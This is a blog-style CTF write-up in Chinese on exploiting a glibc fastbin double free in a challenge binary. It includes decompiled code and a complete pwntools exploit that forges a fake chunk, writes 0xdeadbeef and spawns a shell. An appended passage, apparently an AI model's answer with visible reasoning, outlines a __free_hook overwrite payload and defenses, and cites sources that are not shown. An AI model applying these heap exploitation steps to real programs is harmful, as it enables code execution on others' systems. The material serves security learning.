Glibc堆利用-Double Free

Glibc堆利用-Double Free
漏洞成因:使用完一个chunk之后,只是free掉了指针,没有将内容置null
漏洞结果:free一个chunk之后,再次free,其实该chunk还在free list 里面,可以修改某一个在free list里面的chunk,可以修改该chunk的fd和bk指针,欺骗malloc返回一个任意地址的chunk,可以实现任意地址的写功能。

0x01
这里我们采用了师傅的样例程序,先检查该程序:
在这里插入图片描述
看到:保护全开,使用ida进行反编译分析:
发现经典菜单栏:并且实现了以下功能:

  while ( 2 )
  {
    v10 = 0LL;
    menu();
    scan("%d", &v4);
    switch ( (unsigned int)off_F70 )
    {
      case 1u:
        if ( cnt >= 7 )
        {
          puts("You can't capture more people.");
        }
        else
        {
          v3 = cnt;
          ptr[v3] = malloc(8uLL);
          ++cnt;
          puts("Captured.");
        }
        continue;
      case 2u:
        puts("Index:");
        scan("%d", &v5);
        free(ptr[v5]);
        puts("Eaten.");
        continue;
      case 3u:
        puts("Index:");
        scan("%d", &v5);
        puts("Ingredient:");
        scan("%llu", &v10);
        *(_QWORD *)ptr[v5] = v10;
        puts("Cooked.");
        continue;
      case 4u:
        printf("Your lair is at: %p\n", &lair);
        continue;
      case 5u:                                  // 给target赋值
        puts("Which kingdom?");
        scan("%llu", &v9);
        lair = v9;
        puts("Moved.");
        continue;
      case 6u:
        if ( target == 0xDEADBEEFLL )
          system("/bin/sh");                    // 执行system函数
        puts("Now, there's no Demon Dragon anymore...");
        break;
      default:
        goto LABEL_13;
    }
    break;
  }

可以发现:只要将target赋值为指定数值,即可执行system(’/bin/sh’):
在这里插入图片描述

但是v8初始化为0,且无对v8进行操作的函数。

存在漏洞:double free:
在这里插入图片描述
这里仅仅free掉了该指针,但是并没有将该指针置null,存在double free漏洞。
首先,写好判断条件函数,并加亿点点细节:

from pwn import *
from sys import argv
binary = './samsara'
context.binary = binary
elf = ELF(binary)
p=process('./samsara')

def ret2libc(leak, func, path=''):
	# if path == '':
	# 	libc = LibcSearcher(func, leak)
	# 	base = leak - libc.dump(func)
	# 	system = base + libc.dump('system')
	# 	binsh = base + libc.dump('str_bin_sh')
	# else:
    libc = ELF(path)
    base = leak - libc.sym[func]
    system = base + libc.sym['system']
    binsh = base + libc.search('/bin/sh').next()
    return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def dbg():
	gdb.attach(p)
	pause()

def add(size):
    sla('> ','1')

def free(idx):
    ru('choice > ')
    sl('2')
    sl(str(idx))

def edit(index,content):
	sla('> ','3')
	sla(':\n',str(index))
	sla(':\n',content)

def print_target():
    sla('> ', '4')
    ru('0x')
    return int(ru('\n'), 16)

def edit_target(target):
    sla('> ','5')
    sla('Which kingdom?',str(target))

def get_shell():
    sla('> ','6')

首先,我们申请三个chunk,并产生double free条件:

add() # 0
add() # 1
add() # 2
delete(0)
delete(1)
delete(0)
dbg()

调试结果:
在这里插入图片描述
可以发现在fastbin中,存在double free漏洞,即两个chunk同时指向了同一个chunk:

0x20: 0x56065b19e010 —▸ 0x56065b19e030 ◂— 0x56065b19e010

这里,我们继续add两个chunk,使得:
第一个为原来的1号chunk
第二个为原来的0号chunk:
这样,原来的chunk区域就变成了:
在这里插入图片描述
是因为:
free0号chunk,free1号chunk,再次free0号chunk,但是再次申请的时候,按照计算机的顺序是无视了第二次被free的0号chunk,先取1号chunk,再取第一次被free的0号chunk。
这样,我们就可以构造一个fake_chunk:

edit_target(0x20)
fake = print_target()-8

其中,edit_target表示
在这里插入图片描述
在这里插入图片描述

而lair变量的值就处于target变量上方8个字节,在liar这个地方伪造一个chunk,写作0x20,伪造chunk的chunk指针在lair地址-8的地方,也就是target地址减去0x10的地方,使得target处于mem指针这个地方。
然后:

edit(3,fake)

表示更改0号chunk,fd指针为我们构造好的地址:

在这里插入图片描述

之后,再次add两个chunk,然后更改fake chunk里面的内容:

add() # 5
add() # 6
edit(6,0xdeadbeef)

这里,第一个add表示add第一个chunk,第二个add表示自己构造的fake_chunk。然后edit构造的fake_chunk为0xDEADBEEF:
在这里插入图片描述
成功的将oxDEADBEEF写入了我们构造的fake_chunk当中,并且使得chunk0的fd指针指向了fake_chunk,接下来直接执行后门函数就可以getshell:

sla('> ','6')
itr()

在这里插入图片描述
完整exp:

from pwn import *
from sys import argv
binary = './samsara'
context.binary = binary
elf = ELF(binary)
p=process('./samsara')

def ret2libc(leak, func, path=''):
	# if path == '':
	# 	libc = LibcSearcher(func, leak)
	# 	base = leak - libc.dump(func)
	# 	system = base + libc.dump('system')
	# 	binsh = base + libc.dump('str_bin_sh')
	# else:
    libc = ELF(path)
    base = leak - libc.sym[func]
    system = base + libc.sym['system']
    binsh = base + libc.search('/bin/sh').next()
    return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def dbg():
	gdb.attach(p)
	pause()

def add():
    sla('> ','1')

def free(idx):
    ru('choice > ')
    sl('2')
    sl(str(idx))

def edit(index,content):
	sla('> ','3')
	sla(':\n',str(index))
	sla(':\n',content)

def print_target():
    sla('> ', '4')
    ru('0x')
    return int(ru('\n'), 16)

def edit_target(target):
    sla('> ','5')
    sla('Which kingdom?',str(target))

def get_shell():
    sla('> ','6')


add()   #0
add()   #1
add()   #2
free(0)  #0-free 1-use 2-use

free(1)  #0-free 1-free 2-use

free(0)  #0-double free 1-free 2-use

add()

add()
edit_target(0x20)
fake = print_target()-8
print(hex(fake))
edit(3,fake)


add() # 5

add() # 6
edit(6,0xdeadbeef)
sla('> ','6')
itr()

<think>好的,我现在需要回答用户关于PWNdouble free漏洞的利用方法和防御措施的问题。首先,我需要回忆一下double free的基本概念。Double free指的是在程序中多次释放同一块内存,这可能导致内存管理数据结构的破坏,进而被攻击者利用。 根据引用[1]中提到,常规题目中主函数可能存在触发shell的条件,但free函数对UAF(Use After Free)和double free(df)有防御措施,无法直接突破。然而,edit函数存在漏洞,允许控制写入字节,导致overlapping攻击。这说明即使有防御,如果其他函数存在漏洞,仍可能被利用。 接下来,引用[2]指出,double free原语几乎无懈可击,但UAF或溢出类漏洞需要精确修改结构体中的特定位置值。如果攻击者能控制写入的位置和内容,就能绕过防御,比如修改chunk的指针,构造任意地址读写。 然后,引用[3]关于风水的部分提到,排布是漏洞利用的关键,需要熟悉glibc的内存管理策略。破坏内存管理的数据结构如bin或chunk,可以导致任意内存读写或控制流劫持。防御方法包括Heap Canary、CFI、ASLR等。 现在,结合这些信息,我需要整理利用double free的步骤。首先,触发double free,连续释放同一chunk两次,这会使得bin链表出现循环。接着,通过排布,重新分配这些chunk,并利用edit函数修改fd或bk指针,指向伪造的chunk。然后,分配伪造的chunk,实现任意地址写,比如修改GOT表或函数指针,最后劫持控制流执行shellcode或ROP链。 防御措施方面,引用[2]和[3]提到,glibc的改进如tcache double free检测,在释放时会检查chunk是否已在链表中。此外,Heap Canary可以检测溢出,ASLR和DEP增加利用难度。代码审计和安全机制如CFI也能有效防御。 需要确保回答结构清晰,分点说明利用方法和防御措施,并引用提供的资料。同时,按照用户要求,生成相关问题,例如利用步骤、防御技术、绕过方法等。</think>### PWNdouble free漏洞的利用与防御分析 #### 1. Double Free漏洞原理 double free指对同一块内存进行多次释放,破坏glibc内存管理结构(如tcache或fastbin的链表),导致内存布局可控。例如,连续释放chunk A两次后,其fd指针可能形成循环链表,后续分配时可构造重叠的chunk,最终实现任意地址读写或控制流劫持[^2][^3]。 #### 2. 利用方法及步骤 **典型利用流程**: 1. **触发double free**:通过程序逻辑连续释放同一chunk两次,例如: ```c free(ptr); free(ptr); // 触发double free ``` 2. **排布(Heap Feng Shui)**:通过分配特定大小的chunk,控制内存布局,使后续分配的chunk覆盖关键数据。 3. **修改链表指针**:利用存在漏洞的`edit`函数修改chunk的`fd`或`bk`指针,指向伪造的chunk(如GOT表、`__free_hook`等)[^1]。 4. **分配伪造chunk**:通过`malloc`获取指向目标地址的指针,实现任意地址写入,例如修改`__free_hook`为`system`地址。 5. **触发执行流劫持**:调用`free`或相关函数时,跳转至攻击者控制的代码(如ROP链或shellcode)[^4]。 **示例场景**: 若程序允许写入释放后的chunk,攻击者可构造如下payload: ```python # 假设chunk大小为0x20 add(0x20, "A") # chunk A free(0) free(0) # double free edit(0, p64(libc_base + 0x1eeb28)) # 修改fd指针指向__free_hook add(0x20, "B") # 分配chunk A add(0x20, "/bin/sh") # 分配chunk A的fd指向位置(即__free_hook) add(0x20, p64(system_addr)) # 将__free_hook覆盖为system free("/bin/sh") # 触发system("/bin/sh") ``` #### 3. 防御措施 1. **glibc防护机制**: - **tcache double free检测**:glibc 2.29+在释放时会检查chunk是否已在tcache链表中。 - **fastbin完整性校验**:分配时验证`fd`指针是否指向合法内存区域。 2. **内存保护技术**: - **Heap Canary**:检测溢出对管理结构的破坏。 - **Safe-Linking**(glibc 2.32+):对链表指针进行异或加密,增加伪造难度。 3. **系统级防护**: - **ASLR**:随机化地址空间,增加定位目标的难度。 - **DEP**:阻止攻击者执行栈中的shellcode[^3]。 4. **代码审计**: - 严格检查`free`前后指针置空情况,避免悬垂指针。 - 限制用户对chunk内容的写入范围和权限。 #### 4. 绕过防御的常见方法 - **利用其他漏洞组合**:若存在溢出或UAF,可覆盖`key`字段(tcache的double free检测标志)。 - **构造特定内存布局**:通过大量分配/释放操作,使伪造的chunk通过glibc的完整性检查。 - **劫持控制流的替代目标**:若`__free_hook`被保护,可转向修改`_IO_FILE`结构体或ROP链[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值